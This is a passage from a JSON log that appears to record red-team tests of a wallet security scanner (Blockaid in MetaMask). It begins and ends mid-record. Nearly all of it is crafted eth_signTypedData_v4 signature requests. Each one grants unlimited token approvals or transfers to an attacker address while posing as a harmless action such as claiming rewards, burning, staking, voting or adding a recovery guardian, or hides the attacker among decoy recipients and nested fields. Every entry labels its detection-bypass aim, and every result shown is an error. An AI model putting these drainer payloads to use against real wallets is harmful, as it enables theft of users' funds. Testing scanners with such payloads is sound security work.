"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:14:49.582Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:14:59.147Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:15:08.693Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:15:18.247Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:15:27.790Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:15:37.349Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:15:46.895Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:15:56.452Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:16:06.007Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:16:15.563Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:16:25.131Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:16:34.694Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:16:44.258Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:16:53.821Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:17:03.373Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:17:12.935Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:17:22.491Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:17:32.056Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN43-EIP3009-022", "timestamp": "2026-01-31T18:17:41.623Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD 